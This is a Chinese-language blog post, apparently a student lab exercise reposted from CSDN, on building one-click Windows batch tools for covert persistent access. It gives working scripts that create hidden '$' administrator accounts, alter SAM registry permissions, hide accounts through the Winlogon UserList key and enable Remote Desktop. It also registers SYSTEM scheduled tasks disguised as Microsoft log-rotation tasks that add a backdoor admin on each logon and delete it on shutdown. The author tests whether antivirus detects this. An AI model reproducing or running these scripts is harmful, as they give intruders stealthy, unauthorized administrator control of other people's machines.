Windows系统批处理建立隐藏用户并实现远程登录,并实现登录用户创建,关机删除隐藏用户

Windows系统建立隐藏用户

前提:针对新增用户的攻击方法,如何使新增的用户在开机时不显示新增的用户但却不影响利用该用户远程登录?
1.环境为Win XP或Win7;
2.查阅资料并验证;
3.鼓励拓展为一个小工具,可通过批处理一键完成 新增用户且开机不显示的目的。

尝试一: /active:no

在这里插入图片描述在这里插入图片描述

虚拟机IP:192.168.125.138
在这里插入图片描述
这也就保证了远程登录可以行得通

结果:
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

发现这种方法虽然隐藏了JZP11,但由于设置为不活跃,所以远程登录行不通。

尝试二 HideAdmin.exe

首先我在查阅资料的过程中,找到了一个已经开发出来的软件HideAdmin
在这里插入图片描述

但是还是自己做吧。

尝试三 注册表更改

首先我进行手动设置看看是否可以实现以上功能。
查询资料后,发现修改注册表可以实现隐藏用户
在这里插入图片描述在这里插入图片描述

(1)对比发现:如果用户名以美元号结束,那么在命令行下无法看到以$为结束的用户名。
在这里插入图片描述

此时已经达到了初步的隐藏,但是通过 Ctrl+Alt+Insert切换用户时可以看到建立的用户,无法满足要求。

(2)下一步探索:

过程中遇到SAM无法打开的情况
在这里插入图片描述

解决:修改SAM权限,使Administrators用户获得完全控制与读取权限。
在这里插入图片描述在这里插入图片描述

(3)通过Names可以查看
Administrator 类型 0x1f4
Jzp$ 类型 0x3ed

在一个账户的项下面可以看到相关键值,F表示的是相关权限的参数,V则表示用户的一些基本进行的参数。

(4)首先:将jzp的names注册项导出。将administrator和JZP$对应的表项导出。
在这里插入图片描述

(5)将管理员账户参数配置的注册项中的F键值复制,替换掉jzp$对应的users里面文件夹的参数配置注册项中的F键值。
在这里插入图片描述

  .reg以txt形式打开

(5)在命令行中删除jzp$用户。
在这里插入图片描述在这里插入图片描述

在regedit中发现,jzp$相关账户信息被删除了。

(6)将jzp$的names注册项和修改后的users表项导入注册表。
在这里插入图片描述

命令行没有查询到隐藏用户
在这里插入图片描述

控制面板没有查询到隐藏用户
在这里插入图片描述在这里插入图片描述

知道用户名才可以通过命令行知道该隐藏用户,同时通过注册表也可以找到隐藏用户。
但是我感觉问题不大,正常人谁会无聊到去看注册表。

远程登录
发现账户被禁用
命令:
Net user JZP$ /active:yes
在这里插入图片描述

登录成功。

那么本机如何登录隐藏用户呢?
Windows+R ->gpedit.msc
在这里插入图片描述在这里插入图片描述

但一定要记住用户名,否则无法进入系统。

小工具制作

@echo off
net user jzp123$ jzp /add
net localgroup administrators jzp123$ /add
Echo HKEY_LOCAL_MACHINE\SAM[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names[1] >>c:/tem.ini
regini c:/tem.ini
regedit /e c:\1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
net user jzp123$ /del
regedit /s c:\1.reg
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\[0] >>c:/tem.ini
regini c:/tem.ini
del c:\tem.ini
del c:\1.reg
net user  jzp123$ /active:yes
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

命令解释:

(1)@echo off
@echo off表示执行了这条命令后关闭所有命令(包括本身这条命令)的回显。

(2)创建用户代码,并提升到管理员组
net user jzp123$ jzp /add
net localgroup administrators jzp123$ /add
注意:此处必须给用户创建密码,否则无法登陆。

(3)为用户修改权限为完全控制。
Echo HKEY_LOCAL_MACHINE\SAM[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users[1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names[1] >>c:/tem.ini
解释:
此处的路径为上面手动操作的路径
[x y z]:
x,y,z都是数字,他们分别是:Administrators everyone System表示权限修改
1 - Administrators 完全访问 所以上面的为 [1].
>>:表示把>>前面的同一行路径写进c盘下的tem.ini

在这里插入图片描述

(4)修改注册表及注册表权限,执行刚刚写好的配置文件
regini c:/tem.ini
Regini程序操作系统自带的,从XP开始就有.

(5)导出注册表
regedit /e c:\1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

(6)删除隐藏用户,并导入注册表
net user jzp123$ /del
regedit /s c:\1.reg

(7)清楚痕迹,并激活
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM[0] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM[0] >>c:/tem.ini
regini c:/tem.ini
del c:\tem.ini
del c:\1.reg
net user jzp123$ /active:yes

(8)开启远程登录服务的命令
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

其实代码中缺少一个复制键值F的过程。,这是我没有实现的地方。
所以我的代码运行后,远程登录显示的是下面的界面。
在这里插入图片描述

但是这个可以通过手动来弥补。
在这里插入图片描述

这样设置之后,就可以实现远程登录了。

工具:
在这里插入图片描述

尝试4

在注册表编辑器新建项值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
在其中新建DWORD值,命名为需要隐藏的用户名称,设其值为0(0为隐藏1为显示)

@echo off
net user xh521$ xh521$ /add
net localgroup administrators xh521$ /add
regedit /s .\xh521$.reg
pause
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"xh521$"=dword:00000000

成功!! 这个方法比上面的简单很多。
在这里插入图片描述

登录用户创建隐藏用户,关机删除

仿照示例,设计一个以开机关事件为触发条件的计划任务。实现:
1.截获关机条件时创建一个新的用户;
2.截获开机事件时将新增的用户删除;
3.在环境中安装一款杀毒软件,看看这一过程是 否会引起报警。

思考:其实开机后创建用户并不能实现隐藏用户的功能,所以我感觉应该是在登录用户之后再创建隐藏用户才是正确的操作。

(1)利用事件触发命令 schtasks
利用schtasks完成的功能主要是:利用确定的日志事件触发net user命令,以达到新增一个管理员账户的目的。

那么首先需要知道事件的ID号:
关机或重启,重启是关机的一种类型。
在这里插入图片描述

登录用户:
在这里插入图片描述

登录用户创建用户的代码:
在这里插入图片描述

代码解释:
schtasks /create:
参数/create说明要新建一个计划任务;

/tn “Microsoft\Windows\LocalEventLogRotate”:
/tn说明新建的计划任务名称为"Microsoft\Windows\LocalEventLogRotate"

/tr ““cmd.exe”:
/tr 是计划任务要执行的命令或进程。需要注意的是,如果只是一个无参数的进程,则可以直接写为“/tr C:\windows\calc.exe”。
但如果是带参数的进程(尤其是带的参数如/k可能会与schtasks本身的参数有重复)时,就需要特殊用双引号将其括住。
例如本例要实际执行的是在cmd.exe框架下的net user 多条命令,因此紧跟着/tr的双引号对称的是exit后的双引号。双引号内的全是由cmd.exe执行的多条命 令。这样,就可以完成过去需要批处理才能完成的工作(无需再另建立一个批处理文件)了。
分析一下执行的命令行中的技巧:cmd.exe /k是在cmd中执行接下来的命令。每条命令均由 >>nul表示结尾; 两条命令行之间用“& ”进行连接,为了让 cmd.exe退出最后一条命令为"exit”。

/f :
表示如果任务计划中已有该任务,则强行创建并抑制报警。

/ru system:
表示指定任务在其下运行的“运行方式”用户帐户(用户上下文)。对于系统帐户,有效值是 “”、“NT AUTHORITY\SYSTEM” 或"SYSTEM"。对 于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID 对这三个也都 可用。

/ec Security
/EC ChannelName 为 OnEvent 触发器指定事件通道;

/sc onevent:
/sc schedule 指定计划频率。包括的频率有:MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。本例用的是事件触发 onevent。

/mo "[System[Provider[@Name=‘Microsoft-Windows-Security-Auditing’] and EventID=4624]]":
/MO modifier 改进计划类型以允许更好地控制计划重复 周期。有效值 有:/D days表示按周几执行,/M months,指一年内第几个月执行(默认该月第1天)…,如果是事件触发 onevent,则由具体事件(字符串)作为参数,
如本例中表示事件的
[System[Provider[@Name=‘Microsoft-Windows-Security-Auditing’] and EventID=4740]]”。具体事件可自己定义。事件ID可以通过查换日 志具体内容确定。

关机或重启删除用户的代码:
在这里插入图片描述

把两段代码存成.bat文件
在这里插入图片描述在这里插入图片描述

@echo off
@schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k net user xhjzp xhjzp /add /y /active:yes >> nul & net localgroup administrators xhjzp /add >nul & net user xhjzp /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]"
@schtasks /create /tn "Microsoft\Windows\LocalEventLog" /tr "\"cmd.exe\" /k net user xhjzp /del > nul & exit" /f /ru system /sc onevent /ec System /mo "*[System[EventID=1074]]"

程序运行结果:
运行命令后,并未列出隐藏用户。
在这里插入图片描述在这里插入图片描述

开机后并未显示我建立的隐藏用户
进入现有用户内后,利用命令行查看,发现了建立的用户,但是其实影响不大,因为正常人不会无聊到查看自己的用户有几个
在这里插入图片描述在这里插入图片描述

切换用户时也可以发现建立的用户,但这个可以与任务一结合起来,就可以实现在这两个地方都看不见。

重新启动后并没有发现创建的用户。

下面进行杀毒软件安装进行测试。

在这里插入图片描述
在这里插入图片描述

我的入侵失败了,道阻且长啊!

远程登录:成功!
在这里插入图片描述在这里插入图片描述

通过360或日志可以发现登录的痕迹。

猜你喜欢

转载自blog.csdn.net/weixin_45715236/article/details/115004767